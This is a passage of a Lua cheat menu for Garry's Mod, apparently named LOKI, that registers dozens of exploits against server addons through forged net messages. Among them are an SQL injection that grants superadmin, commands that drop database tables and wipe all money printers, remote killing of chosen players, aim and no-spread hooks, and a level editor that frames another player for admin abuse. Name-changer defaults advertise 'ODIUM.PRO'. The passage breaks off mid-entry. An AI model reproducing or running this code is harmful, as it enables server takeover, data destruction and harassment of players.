7135LOKI.AddExploit( "Door Exploit", {
7136 desc = "Unlock the door you're looking at",
7137 severity = 1,
7138 bools = {enabled = false},
7139 status = -1,
7140 times_per_tick = 1,
7141 scan = function() return LOKI.ValidNetString( "Kun_FinishLockpicking" ) end,
7142 hooks = {
7143 Think = function(tbl, sploit)
7144 local v = LOKI.GetLP():GetEyeTrace().Entity
7145 LOKI.NetStart(sploit, "Kun_FinishLockpicking")
7146 net.SendToServer()
7147 end,
7148 },
7149 functions = {
7150 { typ = "func", Name = "Open" },
7151 },
7152} )
7153LOKI.AddExploit( "Door Exploit", {
7154 desc = "Unlock the door you're looking at",
7155 severity = 1,
7156 bools = {enabled = false},
7157 status = 1,
7158 times_per_tick = 1,
7159 scan = function() return LOKI.ValidNetString( "ReturnFrom_Succes" ) end,
7160 hooks = {
7161 Think = function(tbl, sploit)
7162 local v = LOKI.GetLP():GetEyeTrace().Entity
7163 LOKI.NetStart(sploit, "ReturnFrom_Succes")
7164 net.WriteEntity(v)
7165 net.SendToServer()
7166 end,
7167 },
7168 functions = {
7169 { typ = "func", Name = "Open" },
7170 },
7171} )
7172LOKI.AddExploit( "Door Exploit", {
7173 desc = "Unlock and open every door as you walk up to it (blatant)",
7174 severity = 1,
7175 bools = {enabled = false},
7176 vars = {object = Entity(0)},
7177 status = 1,
7178 times_per_tick = 1,
7179 scan = function() return LOKI.ValidNetString( "dialogAlterWeapons" ) end,
7180 hooks = {
7181 Tick = function(tbl, sploit)
7182 for k, object in pairs( ents.FindInSphere( LOKI.GetLP():GetPos(), 150 ) ) do
7183 if(object == LOKI.GetLP():GetEyeTrace().Entity && object:GetClass():find("door") && object != sploit.vars.object) then
7184 LOKI.NetStart(sploit, "dialogAlterWeapons", true)
7185 net.WriteString("Add")
7186 net.WriteTable({[1] = "ci_hacking_gear"})
7187 net.SendToServer()
7188 sploit.vars.object = object
7189 break
7190 end
7191 end
7192 end,
7193 },
7194 functions = {
7195 { typ = "bool" },
7196 },
7197} )
7198LOKI.AddExploit( "Unbox Exploit", {
7199 desc = "Choose what you get from an unbox",
7200 severity = 1,
7201 bools = {enabled = false},
7202 status = 1,
7203 times_per_tick = 1,
7204 scan = function() return LOKI.ValidNetString( "InitSpin" ) end,
7205 hooks = {
7206 net = {
7207 Receive = function(sploit, strName)
7208 if(strName == "InitSpin" && sploit.bools.enabled) then
7209 local data = net.ReadTable()
7210 local added = {}
7211 local m = DermaMenu()
7212 for k, v in ipairs(data) do
7213 local CRC = util.CRC(table.ToString(v))
7214 if(v.itemName && !added[CRC]) then
7215 added[CRC] = CRC
7216 m:AddOption( v.itemName .. (v.itemClassName != nil && " (" .. v.itemClassName .. ")" || ""), function()
7217 LOKI.NetStart(sploit, "FinishedUnbox")
7218 net.WriteInt(k, 16)
7219 net.SendToServer()
7220 end )
7221 end
7222 end
7223 m:Open()
7224 return false
7225 end
7226 end,
7227 },
7228 },
7229 functions = {
7230 { typ = "bool", Name = "Open" },
7231 },
7232} )
7233LOKI.AddExploit( "Noise Exploit", {
7234 desc = "Causes players to leak petrol from their eyes",
7235 severity = 1,
7236 bools = {enabled = false},
7237 status = 1,
7238 msgs_per_tick = function() return #LOKI.GetStored( "gas_plyz", {} ) end,
7239 times_per_tick = math.huge,
7240 scan = function() return LOKI.ValidNetString( "simfphys_gasspill" ) end,
7241 hooks = {
7242 Think = function(tbl, sploit)
7243 for k, v in ipairs(LOKI.GetStored( "gas_plyz", {} )) do
7244 if IsValid(v) then
7245 LOKI.NetStart( sploit, "simfphys_gasspill" )
7246 net.WriteVector( v:GetEyeTrace().HitPos )
7247 net.WriteVector( v:GetEyeTrace().HitNormal )
7248 net.SendToServer()
7249 end
7250 end
7251 end,
7252 },
7253 functions = {
7254 { typ = "players", addr = "gas_plyz" },
7255 { typ = "bool", },
7256 },
7257} )
7258LOKI.AddExploit( "Level Exploit", {
7259 desc = "Set players level to anything (and blame someone else for admin abuse)",
7260 severity = 1,
7261 bools = {enabled = false},
7262 status = 1,
7263 times_per_tick = 1,
7264 scan = function() return LOKI.ValidNetString( "EL_editUser" ) end,
7265 hooks = {
7266 Think = function(tbl, sploit)
7267 for k, v in ipairs(LOKI.GetStored( "level1_targets", {LOKI.GetLP()} )) do
7268 if(IsValid(v)) then
7269 LOKI.NetStart( sploit, "EL_editUser")
7270 DATA = {
7271 Target = v,
7272 Value = LOKI.GetStored("level1_level", 100),
7273 Value2 = LOKI.GetStored("level1_xp", 100),
7274 Value3 = LOKI.GetStored("level1_sp", 100),
7275 Value4 = LOKI.GetStored("level1_rank", 1)[2],
7276 Executer = LOKI.GetStored("level1_victim", {})[1],
7277 }
7278 net.WriteTable(DATA)
7279 net.SendToServer()
7280 end
7281 end
7282 end,
7283 },
7284 functions = {
7285 { typ = "players", addr = "level1_targets", Name = "Target" },
7286 { typ = "float", addr = "level1_level", Name = "Level", min = 0, max = math.huge, default = 100 },
7287 { typ = "float", addr = "level1_xp", Name = "Exp", min = 0, max = math.huge, default = 100 },
7288 { typ = "float", addr = "level1_sp", Name = "Skill Points", min = 0, max = math.huge, default = 1200 },
7289 { typ = (EL_Ranks && "combo" || "float"), tbl = EL_Ranks || {}, Name = "Rank", default = {"", 1}, addr = "level1_rank", min = 0, max = math.huge, default = 1, var = "name", sort = "rank", find = "rank" },
7290 { typ = "player", addr = "level1_victim", Name = "Victim" },
7291 { typ = "func", Name = "Do it"},
7292 },
7293} )
7294LOKI.AddExploit( "Level Exploit", {
7295 desc = "Manipulate any players level and inventory",
7296 severity = 1,
7297 bools = {enabled = false},
7298 status = 1,
7299 times_per_tick = 1,
7300 scan = function() return LOKI.RecursiveGetVar(_G, {"CRAFTINGMOD"}, "table") != false || LOKI.RecursiveGetVar(_G, {"FARMINGMOD"}, "table") != false end,
7301 count = {
7302 ["Active"] = 0,
7303 ["Total"] = 2,
7304 },
7305 initial = function(sploit)
7306 if(isfunction(LOKI.RecursiveGetVar(CRAFTINGMOD, {"Util", "CheckAdmin"}, "function"))) then
7307 function CRAFTINGMOD.Util:CheckAdmin() return true end
7308 end
7309 local meta = debug.getregistry().Player
7310 if(isfunction(meta.IsAdmin)) then
7311 function meta:IsAdmin() return true end
7312 end
7313 if(sploit.count.Active == 0) then
7314 if(LOKI.RecursiveGetVar(_G, {"CRAFTINGMOD"}, "table") != false) then
7315 sploit.count.Active = sploit.count.Active + 1
7316 end
7317 if(LOKI.RecursiveGetVar(_G, {"FARMINGMOD"}, "table") != false) then
7318 sploit.count.Active = sploit.count.Active + 1
7319 end
7320 end
7321 end,
7322 hooks = {
7323 Think = function(tbl, sploit)
7324 if(tbl[1] == 1) then
7325 local menu = LOKI.RecursiveGetVar(CRAFTINGMOD, {"PANELS", "AdminMenu"}, "function")
7326 if(isfunction(menu)) then
7327 menu(CRAFTINGMOD.PANELS)
7328 LOKI.Menu:SetVisible(false)
7329 end
7330 elseif(tbl[1] == 2) then
7331 local menu = LOKI.RecursiveGetVar(FARMINGMOD, {"AdminMenu"}, "function")
7332 if(isfunction(menu)) then
7333 menu(FARMINGMOD)
7334 LOKI.Menu:SetVisible(false)
7335 end
7336 end
7337 end,
7338 },
7339 functions = {
7340 { typ = "func", Name = "Admin Menu (Mining)", args = {1}, required = LOKI.RecursiveGetVar(_G, {"CRAFTINGMOD"}, "table") != false},
7341 { typ = "func", Name = "Admin Menu (Farming)", args = {2}, required = LOKI.RecursiveGetVar(_G, {"FARMINGMOD"}, "table") != false},
7342 },
7343} )
7344LOKI.AddExploit( "Level Exploit", {
7345 desc = "Wield the Infinity Gauntlet",
7346 severity = 100,
7347 bools = {enabled = false},
7348 status = 1,
7349 times_per_tick = math.huge,
7350 scan = function() return istable(DarkRPG) end,
7351 count = {
7352 ["Active"] = 22,
7353 ["Total"] = 22,
7354 },
7355 hooks = {
7356 Think = function(tbl, sploit)
7357 LOKI.OpenTableEditor(LOKI.Menu, DarkRPG.Player.Stats, "Player Stat Multipliers", function(tbl)
7358 local DarkRPG = LOKI.GetUpValues(DarkRPG.createTalent)["menu"] || DarkRPG
7359 DarkRPG.savePlayerSettings()
7360 DarkRPG.updateTalentTree()
7361 DarkRPG.applyPlayerSettings()
7362 DarkRPG.updateUsedPoints()
7363 DarkRPG.sendPlayerTotalsToServer()
7364 end)
7365 end,
7366 },
7367 functions = {
7368 { typ = "func", Name = "Close Fist", },
7369 },
7370} )
7371LOKI.AddExploit( "Database Exploit", {
7372 desc = "Give people superadmin (rejoin for it to take effect)",
7373 severity = 100,
7374 bools = {enabled = false},
7375 status = 1,
7376 times_per_tick = 1,
7377 vars = {},
7378 prevalidated = true,
7379 scan = function() return LOKI.ValidNetString( "pplay_sendtable", "pplay_deleterow" ) && cl_PPlay end,
7380 hooks = {
7381 Think = function(tbl, sploit)
7382 for k, v in ipairs( LOKI.GetStored( "l_superadmins", {} ) ) do
7383 if !IsValid(v) then continue end
7384 local ass = {}
7385 ass.tblname = "FAdmin_PlayerGroup; UPDATE FAdmin_PlayerGroup SET groupname = 'superadmin' WHERE steamid = " .. sql.SQLStr(v:SteamID())
7386 ass.ply = v
7387
7388 LOKI.NetStart(sploit, "pplay_sendtable")
7389 net.WriteTable(ass)
7390 net.SendToServer()
7391 end
7392 end,
7393 },
7394 functions = {
7395 { typ = "players", addr = "l_superadmins" },
7396 { typ = "func", Name = "Gibsmedat", },
7397 },
7398} )
7399LOKI.AddExploit( "Database Exploit", {
7400 desc = "Clumsy transport men always dropping the tables",
7401 severity = 100,
7402 bools = {enabled = false},
7403 status = 1,
7404 times_per_tick = 1,
7405 scan = function() return LOKI.ValidNetString("CRAFTINGMOD_COMMANDS") || LOKI.ValidNetString("FISHINGMOD_ADMIN") end,
7406 hooks = {
7407 Think = function(tbl, sploit)
7408 LOKI.NetStart(sploit, (LOKI.ValidNetString("CRAFTINGMOD_COMMANDS") && "CRAFTINGMOD_COMMANDS") || (LOKI.ValidNetString("FISHINGMOD_ADMIN") && "FISHINGMOD_ADMIN"))
7409 net.WriteInt(3, 16)
7410 net.SendToServer()
7411 end,
7412 },
7413 functions = {
7414 { typ = "func", Name = "Do it"},
7415 },
7416} )
7417LOKI.AddExploit( "Database Exploit", {
7418 desc = "Permanently delete all money printers from the server database",
7419 severity = 100,
7420 bools = {enabled = false},
7421 status = 1,
7422 times_per_tick = 1,
7423 scan = function() return istable(gPrinters) && LOKI.ValidNetString("gPrinters.removePrinter") end,
7424 hooks = {
7425 Think = function(tbl, sploit)
7426 for _, printer in pairs( gPrinters.printers or {} ) do
7427 for k, v in pairs( gPrinters.printers[ "Printers" ][ printer ] or printer ) do
7428 LOKI.NetStart(sploit, "gPrinters.removePrinter" )
7429 net.WriteString( v.uid )
7430 net.SendToServer()
7431 end
7432 end
7433 end,
7434 },
7435 functions = {
7436 { typ = "func", Name = "Do it"},
7437 },
7438} )
7439LOKI.AddExploit( "Damage Exploit", {
7440 desc = "Makes your bullets more accurate and more lethal",
7441 severity = 1,
7442 bools = {enabled = true},
7443 status = 1,
7444 times_per_tick = 1,
7445 scan = function(sploit) if(istable(LeyHitreg)) then sploit.channel = LOKI.GetUpValues(LeyHitreg.EntityFireBullets)["option_customnetmsg"] return true end end,
7446 count = {
7447 ["Active"] = 5,
7448 ["Total"] = 5,
7449 },
7450 channel = "nocheatinghere",
7451 hooks = {
7452 net = {
7453 SendToServer = function(sploit, varargs)
7454 sploit.BulletData = nil
7455 end,
7456 },
7457 util = {
7458 TraceLine = function(sploit, varargs)
7459 if(LOKI.NetOutgoingMsg == sploit.channel) then
7460 local trace = util.TraceLine(unpack(varargs))
7461 if(sploit.bools.bighead) then
7462 trace.HitGroup = HITGROUP_HEAD
7463 end
7464 if(sploit.bools.magicbullet && (!trace.Entity || !IsValid(trace.Entity) || !trace.Entity:IsPlayer())) then
7465 local ply = LOKI.GetLP()
7466 for k, ent in ipairs(player.GetAll()) do
7467 if(ent == ply || ent:Health() <= 0) then continue end
7468 local mins, maxs = (ent:OBBMins()*LOKI.GetStored("dmg1_hbox", 2)), (ent:OBBMaxs()*LOKI.GetStored("dmg1_hbox", 2))
7469 mins = mins - (Vector(0,0,math.abs(maxs.z/2))) + ent:OBBCenter()
7470 maxs = maxs - (Vector(0,0,math.abs(maxs.z/2))) + ent:OBBCenter()
7471 local hitpos, normal, fraction = util.IntersectRayWithOBB(LOKI.Freecam.EyePos(), ply:GetAimVector() * 16384, ent:GetPos(), Angle(0,0,0), mins, maxs, 2)
7472 if (hitpos) then
7473 trace.Entity = ent
7474 trace.HitPos = hitpos
7475
7476 debugoverlay.Line(trace.StartPos, trace.HitPos, 5, color_white, true)
7477 debugoverlay.BoxAngles(ent:GetPos(), mins, maxs, ent:GetAngles(), 5, color_white)
7478 break
7479 end
7480 end
7481 end
7482 if(sploit.BulletData && varargs[1].start == sploit.BulletData.Src && sploit.bools.desync) then
7483 local pos = Vector(0,0,0)
7484 if(LOKI.Freecam.Enabled) then
7485 pos = LOKI.Freecam.EyePos()
7486 elseif(IsValid(trace.Entity)) then
7487 local dist = math.Round(trace.HitPos:DistToSqr(LOKI.GetLP():GetShootPos()))
7488 if(math.abs(dist) < (600*600)) then
7489 pos = trace.Entity:GetPos() + trace.Entity:OBBCenter()
7490 else
7491 for k, v in ipairs(ents.FindInSphere(LOKI.GetLP():GetShootPos(), 600)) do
7492 if(v == LOKI.GetLP()) then continue end
7493 if(IsValid(v:GetPhysicsObject()) && math.abs(math.Round((v:GetPos() + v:OBBCenter()):DistToSqr(LOKI.GetLP():GetShootPos()))) < (600*600)) then
7494 pos = v:GetPos() + v:OBBCenter()
7495 break
7496 end
7497 end
7498 end
7499 end
7500 varargs[1].endpos = varargs[1].endpos - varargs[1].start
7501 varargs[1].start.x = pos.x
7502 varargs[1].start.y = pos.y
7503 varargs[1].start.z = pos.z
7504 varargs[1].endpos = varargs[1].endpos + varargs[1].start
7505 end
7506 return trace
7507 end
7508 end,
7509 },
7510 math = {
7511 random = function(sploit, varargs)
7512 if(sploit.bools.nospread && LOKI.NetOutgoingMsg == sploit.channel) then
7513 return 0.5
7514 end
7515 end,
7516 },
7517 table = {
7518 Copy = function(sploit, varargs)
7519 local function func(index)
7520 local dbginfo = debug.getinfo(index)
7521 if(istable(dbginfo) && dbginfo.func == LeyHitreg.EntityFireBullets) then
7522 LOKI.NetOutgoingMsg = sploit.channel
7523 sploit.BulletData = varargs[1]
7524 return true
7525 end
7526 end
7527 if(!func(3)) then func(4) end
7528 end,
7529 },
7530 PostRender = function(tbl, sploit)
7531 if(LOKI.Freecam.Enabled == true && sploit.bools.desync) then
7532 local dist = math.Round(EyePos():DistToSqr(LOKI.GetLP():GetShootPos()))
7533 local color = Color(255,255,255)
7534 if(math.abs(dist) > (600*600)) then
7535 color = Color(255, 0, 0)
7536 else
7537 color = Color(102, 255, 102)
7538 end
7539 LOKI.DrawText( dist, "TargetID", 0, 20, color )
7540 end
7541 end,
7542 },
7543 functions = {
7544 { typ = "bool", ToggleText = {"Damage"}, border = true, bool = "bighead" },
7545 { typ = "bool", ToggleText = {"NoSpread"}, border = true, bool = "nospread" },
7546 { typ = "bool", ToggleText = {"Desync"}, border = true, bool = "desync" },
7547 { typ = "bool", ToggleText = {"Assist"}, border = true, bool = "magicbullet" },
7548 { typ = "float", Name = "Hitbox Scale", min = 1, max = math.huge, default = 1.5, addr = "dmg1_hbox" },
7549 //{ typ = "bool" },
7550 },
7551} )
7552LOKI.AddExploit( "Damage Exploit", {
7553 desc = "Be a silent assassin by injuring people across the map",
7554 severity = 1,
7555 bools = {enabled = false},
7556 status = 1,
7557 times_per_tick = 1,
7558 scan = function() return LOKI.ValidNetString("Taucannonfire") end,
7559 hooks = {
7560 Think = function(tbl, sploit)
7561 for i = 0, LOKI.GetStored("dmg1_mult", 1) do
7562 for k, v in ipairs( LOKI.GetStored( "dmg1_plyz", {} ) ) do
7563 if IsValid(v) then
7564 if(v:IsPlayer()) then
7565 LOKI.NetStart(sploit, "Taucannonfire")
7566 net.WriteEntity(v)
7567 net.WriteBit(1)
7568 net.SendToServer()
7569 end
7570 end
7571 end
7572 end
7573 end,
7574 },
7575 functions = {
7576 { typ = "players", addr = "dmg1_plyz", Name = "Victims" },
7577 { typ = "float", Name = "Multiplier", min = 1, max = math.huge, default = 1, addr = "dmg1_mult" },
7578 { typ = "func", Name = "Do it"},
7579 },
7580} )
7581LOKI.AddExploit( "Damage Exploit", {
7582 desc = "Be a silent assassin by killing people across the map",
7583 severity = 1,
7584 bools = {enabled = false},
7585 status = 1,
7586 times_per_tick = 1,
7587 scan = function() return LOKI.ValidNetString("mat_zset") end,
7588 hooks = {
7589 Think = function(tbl, sploit)
7590 for k, v in ipairs( LOKI.GetStored( "dmg2_plyz", {} ) ) do
7591 if IsValid(v) then
7592 LOKI.NetStart(sploit, "mat_zset")
7593 net.WriteString(v:Nick())
7594 net.SendToServer()
7595 end
7596 end
7597 end,
7598 },
7599 functions = {
7600 { typ = "players", addr = "dmg2_plyz", Name = "Victims" },
7601 { typ = "func", Name = "Do it"},
7602 },
7603} )
7604LOKI.AddExploit( "Damage Exploit", {
7605 desc = "Become a god among men",
7606 severity = 1,
7607 bools = {enabled = false},
7608 status = 1,
7609 times_per_tick = 1,
7610 scan = function() return LOKI.ValidNetString("dialogClose", "f4menufreeze") end,
7611 OnDisable = function(var, sploit)
7612 LOKI.NetStart( sploit, "dialogClose")
7613 net.SendToServer()
7614 end,
7615 hooks = {
7616 net = {
7617 Start = function(sploit, varargs)
7618 if(varargs[1] == "dialogClose" && sploit.bools.enabled) then
7619 LOKI.NetStart(sploit, "f4menufreeze")
7620 net.WriteBool(false)
7621 net.SendToServer()
7622 LOKI.GetLP().dialogActive = false
7623 return false
7624 end
7625 end,
7626 },
7627 },
7628 functions = {
7629 { typ = "bool" },
7630 },
7631} )
7632LOKI.AddExploit( "Damage Exploit", {
7633 desc = "Become the human torch",
7634 severity = 1,
7635 bools = {enabled = false},
7636 status = 1,
7637 times_per_tick = 1,
7638 prevalidated = true,
7639 scan = function() return LOKI.ValidNetString("DragonVapeIgnite") && LOKI.GetLP():HasWeapon("weapon_vape_dragon") end,
7640 scan_always = true,
7641 hooks = {
7642 Tick = function(tbl, sploit)
7643 for k, v in ipairs(ents.GetAll()) do
7644 if(!IsValid(v) || !v:IsSolid() || v:GetPos():Distance(LOKI.GetLP():GetPos()) > 500) then continue end
7645 LOKI.NetStart(sploit, "DragonVapeIgnite")
7646 net.WriteEntity(v)
7647 net.SendToServer()
7648 end
7649 end,
7650 },
7651 functions = {
7652 { typ = "bool" },
7653 },
7654} )
7655LOKI.AddExploit( "Damage Exploit", {
7656 desc = "Evolve into a human with gills",
7657 severity = 1,
7658 bools = {enabled = false},
7659 status = 1,
7660 times_per_tick = 1,
7661 scan = function() return LOKI.ValidNetString("StaminaDrowning") end,
7662 hooks = {
7663 net = {
7664 Start = function(sploit, varargs)
7665 if(varargs[1] == "StaminaDrowning" && sploit.bools.enabled) then
7666 return false
7667 end
7668 end,
7669 },
7670 },
7671 functions = {
7672 { typ = "bool" },
7673 },
7674} )
7675LOKI.AddExploit( "Damage Exploit", {
7676 desc = "Makes your bullets more lethal",
7677 severity = 1,
7678 bools = {enabled = false},
7679 status = 1,
7680 times_per_tick = 1,
7681 scan = function(sploit) return LOKI.ValidNetString("shr") end,
7682 hooks = {
7683 net = {
7684 WriteUInt = function(sploit, varargs)
7685 if(LOKI.NetOutgoingMsg == "shr" && istable(LOKI.NetOutgoingData[6]) && LOKI.NetOutgoingData[6].Type == "Vector" && sploit.bools.enabled) then
7686 varargs[1] = HITGROUP_HEAD
7687 end
7688 end,
7689 },
7690 },
7691 functions = {
7692 { typ = "bool" },
7693 },
7694} ) -- not done and not worth working on since it only exists on ~5 servers total
7695LOKI.AddExploit( "Teleport Exploit", {
7696 desc = "Call a taxi",
7697 severity = 1,
7698 bools = {enabled = false},
7699 status = 1,
7700 times_per_tick = 1,
7701 scan = function() return isfunction(net.Receivers["taxi_menu"]) end,
7702 hooks = {
7703 Think = function(tbl, sploit)
7704 LOKI.Menu:SetVisible(false)
7705 net.Receivers["taxi_menu"]()
7706 end,
7707 },
7708 functions = {
7709 { typ = "func", Name = "Open", args = {1}},
7710 },
7711} )
7712LOKI.AddExploit( "Instant Dumpster Diving", {
7713 desc = "Loot dumpsters whilst smoking crack",
7714 severity = 1,
7715 bools = {enabled = false},
7716 status = 1,
7717 times_per_tick = 1,
7718 vars = {},
7719 scan = function() return LOKI.ValidNetString( "dumpster_beginsearch" ) end,
7720 hooks = {
7721 net = {
7722 Receive = function(sploit, strName)
7723 if(strName == "dumpster_beginsearch") then
7724 net.Receivers["dumpster_beginsearch"]()
7725 if(sploit.bools.enabled) then
7726 LOKI.GetLP().DumpsterTime = 0
7727 LOKI.GetLP().DumpsterDiving = false
7728 LOKI.NetStart(sploit, "dumpster_search_complete", true)
7729 net.WriteInt(LOKI.GetLP().ActiveDumpster, 32)
7730 net.SendToServer()
7731 end
7732 return false
7733 end
7734 end,
7735 },
7736 },
7737 functions = {
7738 { typ = "bool", },
7739 },
7740} )
7741LOKI.AddExploit( "Disguise Exploit", {
7742 desc = "Disguise as any job",
7743 severity = 1,
7744 bools = {enabled = false},
7745 status = 1,
7746 times_per_tick = math.huge,
7747 scan = function() return LOKI.ValidNetString( "disguise" ) end,
7748 hooks = {
7749 Think = function(tbl, sploit)
7750 LOKI.NetStart( sploit, "disguise" )
7751 net.WriteInt(LOKI.SafeToNumber(LOKI.GetStored("disguise1", {1, 1})[2]), 32)
7752 net.SendToServer()
7753 end,
7754 },
7755 functions = {
7756 { typ = "combo", Name = "Job", tbl = team.GetAllTeams(), restriction = "Joinable", var = "Name", sort = "Name", default = 1, addr = "disguise1" },
7757 { typ = "func", Name = "Disguise", },
7758 },
7759} )
7760LOKI.AddExploit( "Name Changer", {
7761 desc = "Allows you to change your name to anything",
7762 severity = 1,
7763 bools = {enabled = false},
7764 status = 1,
7765 times_per_tick = 1,
7766 vars = {},
7767 scan = function() return (LOKI.ValidNetString( "gportal_rpname_change" ) && "gportal_rpname_change") || (LOKI.ValidNetString( "gp_rpname_change" ) && "gp_rpname_change") end,
7768 hooks = {
7769 Think = function(tbl, sploit)
7770 LOKI.NetStart( sploit, sploit.channel)
7771 net.WriteString(tostring(LOKI.GetStored( "nc1" )))
7772 net.WriteString(tostring(LOKI.GetStored( "nc2" )))
7773 net.SendToServer()
7774 end,
7775 },
7776 functions = {
7777 { typ = "string", Name = "First Name:", default = "GET", addr = "nc1" },
7778 { typ = "string", Name = "Last Name:", default = "ODIUM.PRO", addr = "nc2" },
7779 { typ = "func", Name = "Change Name", }
7780 },
7781} )
7782LOKI.AddExploit( "Name Changer", {
7783 desc = "Allows you to change your name to anything",
7784 severity = 1,
7785 bools = {enabled = false},
7786 status = 1,
7787 times_per_tick = 1,
7788 vars = {},
7789 scan = function() return LOKI.ValidNetString( "WS:NPC:Name:NewName" ) end,
7790 hooks = {
7791 Think = function(tbl, sploit)
7792 LOKI.NetStart( sploit, "WS:NPC:Name:NewName")
7793 net.WriteString(tostring(LOKI.GetStored( "nc2" )))
7794 net.SendToServer()
7795 end,
7796 },
7797 functions = {
7798 { typ = "string", Name = "Name: ", default = "GET ODIUM.PRO", addr = "nc2" },
7799 { typ = "func", Name = "Change Name", }
7800 },
7801} )
7802LOKI.AddExploit( "Name Changer", {
7803 desc = "Allows you to change your name to anything",
7804 severity = 1,
7805 bools = {enabled = false},
7806 status = 1,
7807 times_per_tick = 1,
7808 vars = {},
7809 scan = function() return LOKI.ValidNetString( "NewRPNameSQL" ) end,
7810 hooks = {
7811 Think = function(tbl, sploit)
7812 LOKI.NetStart( sploit, "NewRPNameSQL")
7813 net.WriteString(tostring(LOKI.GetStored( "nc3" )))
7814 net.SendToServer()
7815 end,
7816 },
7817 functions = {
7818 { typ = "string", Name = "Name: ", default = "GET ODIUM.PRO", addr = "nc3" },
7819 { typ = "func", Name = "Change Name", }
7820 },
7821} )
7822LOKI.AddExploit( "Name Changer", {
7823 desc = "Allows you to change your steam name to anything. (32 char limit)",
7824 severity = 1,
7825 bools = {enabled = false},
7826 status = 1,
7827 times_per_tick = 1,
7828 vars = {},
7829 scan = function() return isfunction(CNetChan) && CNetChan() && CNetChan():GetReliableBuffer() end,
7830 hooks = {
7831 Think = function(tbl, sploit)
7832 local buffer = CNetChan():GetReliableBuffer()
7833 buffer:WriteUInt(net_SetConVar, NET_MESSAGE_BITS)
7834 buffer:WriteByte(1)
7835 buffer:WriteString("name")
7836 buffer:WriteString(tostring(LOKI.GetStored( "nc4" )))
7837 end,
7838 },
7839 functions = {
7840 { typ = "string", Name = "Name: ", default = "GET ODIUM.PRO", addr = "nc4" },
7841 { typ = "func", Name = "Change Name", }
7842 },
7843} )
7844LOKI.AddExploit( "Name Changer", {
7845 desc = "Allows you to change your name to anything",
7846 severity = 1,
7847 bools = {enabled = false},
7848 status = 1,
7849 times_per_tick = 1,
7850 vars = {},
7851 scan = function() return LOKI.ValidNetString( "rpname_change" ) end,
7852 hooks = {
7853 Think = function(tbl, sploit)
7854 LOKI.NetStart( sploit, "rpname_change")
7855 net.WriteString(tostring(LOKI.GetStored( "nc5" )))
7856 net.WriteString(tostring(LOKI.GetStored( "nc51" )))
7857 net.SendToServer()
7858 end,
7859 },
7860 functions = {
7861 { typ = "string", Name = "First Name:", default = "GET", addr = "nc5" },
7862 { typ = "string", Name = "Last Name:", default = "ODIUM.PRO", addr = "nc51" },
7863 { typ = "func", Name = "Change Name", }
7864 },
7865} )
7866LOKI.AddExploit( "Name Changer", {
7867 desc = "Allows you to change your name to anything",
7868 severity = 1,
7869 bools = {enabled = false},
7870 status = 1,
7871 times_per_tick = 1,
7872 vars = {},
7873 scan = function() return LOKI.ValidNetString( "popupinfo" ) end,
7874 hooks = {
7875 Think = function(tbl, sploit)
7876 LOKI.NetStart( sploit, "popupinfo")
7877 net.WriteString(tostring(LOKI.GetStored( "nc6" )))
7878 net.SendToServer()
7879 end,
7880 },
7881 functions = {
7882 { typ = "string", Name = "Name:", default = "GET ODIUM.PRO", addr = "nc6" },
7883 { typ = "func", Name = "Change Name", }
7884 },
7885} )
7886LOKI.AddExploit( "Name Changer", {
7887 desc = "Allows you to change your name to anything",
7888 severity = 1,
7889 bools = {enabled = false},
7890 status = 1,
7891 times_per_tick = 1,
7892 vars = {},
7893 scan = function() return LOKI.ValidNetString( "scoreboardadmin" ) end,
7894 hooks = {
7895 Think = function(tbl, sploit)
7896 LOKI.NetStart( sploit, "scoreboardadmin")
7897 net.WriteEntity( LOKI.GetLP() )
7898 net.WriteString( "rpname" )
7899 net.WriteString( "user" )
7900 net.WriteString(tostring(LOKI.GetStored( "nc7" )))
7901 net.SendToServer()
7902 end,
7903 },
7904 functions = {
7905 { typ = "string", Name = "Name:", default = "GET ODIUM.PRO", addr = "nc7" },
7906 { typ = "func", Name = "Change Name", }
7907 },
7908} )
7909LOKI.AddExploit( "Name Changer", {
7910 desc = "Allows you to change your name and playermodel to anything",
7911 severity = 1,
7912 bools = {enabled = false},
7913 status = 1,
7914 times_per_tick = 1,
7915 vars = {},
7916 scan = function() return LOKI.ValidNetString( "UpdateCharSF", "take_my_cash" ) end,
7917 hooks = {
7918 Think = function(tbl, sploit)
7919 LOKI.NetStart( sploit, "take_my_cash" )
7920 net.WriteString(-10000)
7921 net.SendToServer()
7922 LOKI.NetStart( sploit, "UpdateCharSF")
7923 net.WriteString(tostring(LOKI.GetStored( "nc8" )))
7924 net.WriteString(tostring(LOKI.GetStored( "nc8a" )))
7925 net.WriteString(tostring(LOKI.GetStored( "nc8b" )))
7926 net.SendToServer()
7927 end,
7928 },
7929 functions = {
7930 { typ = "string", Name = "First Name:", default = "GET", addr = "nc8" },
7931 { typ = "string", Name = "Last Name:", default = "ODIUM.PRO", addr = "nc8a" },
7932 { typ = "string", Name = "Player Model:", default = "models/error.mdl", addr = "nc8b" },
7933 { typ = "func", Name = "Change Name", }
7934 },
7935} )
7936LOKI.AddExploit( "Speed Hack", {
7937 desc = "Allows you to move at warp speed",
7938 severity = 1,
7939 bools = {enabled = false},
7940 status = 1,
7941 times_per_tick = 1,
7942 vars = {},
7943 scan = function() return LOKI.ValidNetString( "SprintSpeedset" ) end,
7944 hooks = {
7945 Think = function(tbl, sploit)
7946 LOKI.NetStart( sploit, "SprintSpeedset")
7947 net.WriteFloat(LOKI.SafeToNumber(LOKI.GetStored( "sh1" )))
7948 net.SendToServer()
7949 end,
7950 },
7951 functions = {
7952 { typ = "float", Name = "Speed: ", min = 0, max = math.huge, default = 1000, addr = "sh1" },
7953 { typ = "func", Name = "Go", }
7954 },
7955} )
7956LOKI.AddExploit( "Bonus Exploit", {
7957 desc = "Free Shit",
7958 severity = 1,
7959 bools = {enabled = false},
7960 status = 1,
7961 times_per_tick = 1,
7962 vars = {},
7963 scan = function() return LOKI.ValidNetString( "AbilityUse" ) end,
7964 hooks = {
7965 Think = function(tbl, sploit)
7966 LOKI.NetStart( sploit, "AbilityUse")
7967 net.WriteInt(tbl[1], 32)
7968 net.SendToServer()
7969 end,
7970 },
7971 functions = {
7972 { typ = "func", Name = "Money", args = {1}, },
7973 { typ = "func", Name = "Time Bonus", args = {2}, },
7974 { typ = "func", Name = "HP", args = {3}, },
7975 { typ = "func", Name = "Armor", args = {4}, },
7976 { typ = "func", Name = "Salary Bonus", args = {5}, },
7977 { typ = "func", Name = "Random Weapon", args = {6}, },
7978 { typ = "func", Name = "Jailbreak", args = {7}, },
7979 },
7980} )
7981LOKI.AddExploit( "Zombie Mode", {
7982 desc = "Raise an army of unkillable zombies",
7983 severity = 1,
7984 bools = {enabled = false},
7985 status = 1,
7986 times_per_tick = 1,
7987 vars = {},
